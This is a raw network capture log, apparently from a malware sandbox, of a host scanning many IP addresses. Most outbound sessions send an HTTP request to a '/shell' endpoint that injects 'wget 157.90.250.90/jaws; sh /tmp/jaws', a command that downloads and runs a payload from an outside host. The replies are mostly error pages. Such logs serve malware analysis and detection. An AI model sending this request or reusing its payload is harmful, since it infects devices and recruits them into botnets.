Jan 2, 2024 06:24:11.493639946 CET	502	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Tue, 02 Jan 2024 05:24:10 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.23	33052	31.30.58.133	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:10.909502983 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.23	56368	185.179.157.102	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:10.926343918 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:11.194081068 CET	913	IN	HTTP/1.1 400 Bad Request Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 681 date: Tue, 02 Jan 2024 05:24:11 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 30 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 49 74 20 69 73 20 6e 6f 74 20 61 20 76 61 6c 69 64 20 72 65 71 75 65 73 74 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 400 Bad Request</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">400</h1><h2 style="margin-top:20px;font-size: 30px;">Bad Request</h2><p>It is not a valid request!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
150	192.168.2.23	36382	154.46.166.188	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:10.948724985 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:11.238642931 CET	211	IN	HTTP/1.1 301 Moved Permanently Location: https://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+%20157.90.250.90/jaws;sh+/tmp/jaws Content-Length: 0 Date: Tue, 02 Jan 2024 05:24:10 GMT Server: airCube

Session ID	Source IP	Source Port	Destination IP	Destination Port
151	192.168.2.23	44342	169.53.132.234	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:10.994020939 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:11.855066061 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:12.879029036 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:14.894752026 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:19.086062908 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:27.276901007 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:43.402621984 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:17.445835114 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
152	192.168.2.23	37678	2.135.71.176	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:11.112669945 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
153	192.168.2.23	60000	195.62.126.54	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:11.155987978 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:11.402542114 CET	322	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 02 Jan 2024 05:24:11 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
154	192.168.2.23	49306	200.159.177.31	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:11.224155903 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:11.499591112 CET	336	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.2 Date: Tue, 02 Jan 2024 05:24:11 GMT Content-Type: text/html Content-Length: 169 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
155	192.168.2.23	52672	49.232.101.104	23

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:11.684170961 CET	171	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 32 31 32 2e 31 30 32 2e 34 31 2e 32 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 31 2d 30 32 20 31 33 3a 32 34 3a 31 31 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 3f 3f 3f 3f 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 212.102.41.2MAC Address: Server Time: 2024-01-02 13:24:11Auth Result: ????.

Session ID	Source IP	Source Port	Destination IP	Destination Port
156	192.168.2.23	52702	49.232.101.104	23

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:12.525722980 CET	171	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 32 31 32 2e 31 30 32 2e 34 31 2e 32 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 31 2d 30 32 20 31 33 3a 32 34 3a 31 31 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 3f 3f 3f 3f 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 212.102.41.2MAC Address: Server Time: 2024-01-02 13:24:11Auth Result: ????.

Session ID	Source IP	Source Port	Destination IP	Destination Port
157	192.168.2.23	52708	49.232.101.104	23

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:13.219901085 CET	171	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 32 31 32 2e 31 30 32 2e 34 31 2e 32 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 31 2d 30 32 20 31 33 3a 32 34 3a 31 32 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 3f 3f 3f 3f 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 212.102.41.2MAC Address: Server Time: 2024-01-02 13:24:12Auth Result: ????.

Session ID	Source IP	Source Port	Destination IP	Destination Port
158	192.168.2.23	58096	62.254.208.10	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:13.764312029 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:15.118623018 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
159	192.168.2.23	60130	150.60.155.80	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:13.765423059 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:15.118643045 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:15.377147913 CET	427	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:24:15 GMT Server: Apache Vary: Accept-Encoding Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
160	192.168.2.23	47120	188.128.206.168	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:13.779989004 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:14.052931070 CET	285	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 02 Jan 2024 05:24:13 GMT Content-Type: text/html Content-Length: 128 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 6f 70 73 21 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Oops! 400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
161	192.168.2.23	46624	104.105.18.182	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:13.802828074 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:15.342601061 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:15.638148069 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Tue, 02 Jan 2024 05:24:15 GMT Date: Tue, 02 Jan 2024 05:24:15 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 61 66 30 38 36 61 37 63 26 23 34 36 3b 31 37 30 34 31 37 33 30 35 35 26 23 34 36 3b 33 32 39 65 34 65 65 66 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.af086a7c.1704173055.329e4eef</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
162	192.168.2.23	33136	154.92.226.199	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:13.806613922 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:14.106601954 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 02 Jan 2024 05:24:13 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
163	192.168.2.23	56586	191.96.205.194	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:13.903879881 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
164	192.168.2.23	56392	23.204.125.106	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:13.920038939 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
165	192.168.2.23	40936	38.132.215.44	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:13.920459986 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
166	192.168.2.23	52714	49.232.101.104	23

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:13.959103107 CET	171	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 32 31 32 2e 31 30 32 2e 34 31 2e 32 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 31 2d 30 32 20 31 33 3a 32 34 3a 31 33 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 3f 3f 3f 3f 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 212.102.41.2MAC Address: Server Time: 2024-01-02 13:24:13Auth Result: ????.

Session ID	Source IP	Source Port	Destination IP	Destination Port
167	192.168.2.23	33176	99.16.143.128	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:14.071830034 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:14.225964069 CET	322	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 02 Jan 2024 05:03:11 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
168	192.168.2.23	50616	104.111.199.195	80

Timestamp	Bytes transferred	Direction	Data
